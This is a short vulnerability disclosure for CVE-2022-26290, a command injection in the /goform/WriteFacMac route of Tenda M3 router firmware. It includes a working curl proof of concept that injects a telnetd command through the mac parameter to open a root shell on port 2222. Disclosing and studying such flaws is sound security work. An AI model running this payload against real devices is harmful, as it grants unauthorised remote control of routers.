Headline
CVE-2022-26290: vuln/M3_WriteFacMac.md at main · GD008/vuln
Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/WriteFacMac.
Permalink
Cannot retrieve contributors at this time
Tenda M3 Command Injection
Vender :Tenda
Firmware version:V1.0.0.12(4856)
Exploit Author: GD@hillstone
Vendor Homepage: https://www.tenda.com.cn/
POC
An issue was discovered in Tenda M3 1.10 V1.0.0.12(4856) devices. An HTTP request parameter is used in command string construction within the handler function of the /goform/WriteFacMac route. This could lead to Command Injection via Shell Metacharacters.
When we send packets, the router will be shell
curl -i -X POST http://192.168.10.1/goform/WriteFacMac -d mac='`telnetd -p 2222 -l /bin/sh`' --cookie "user=admin"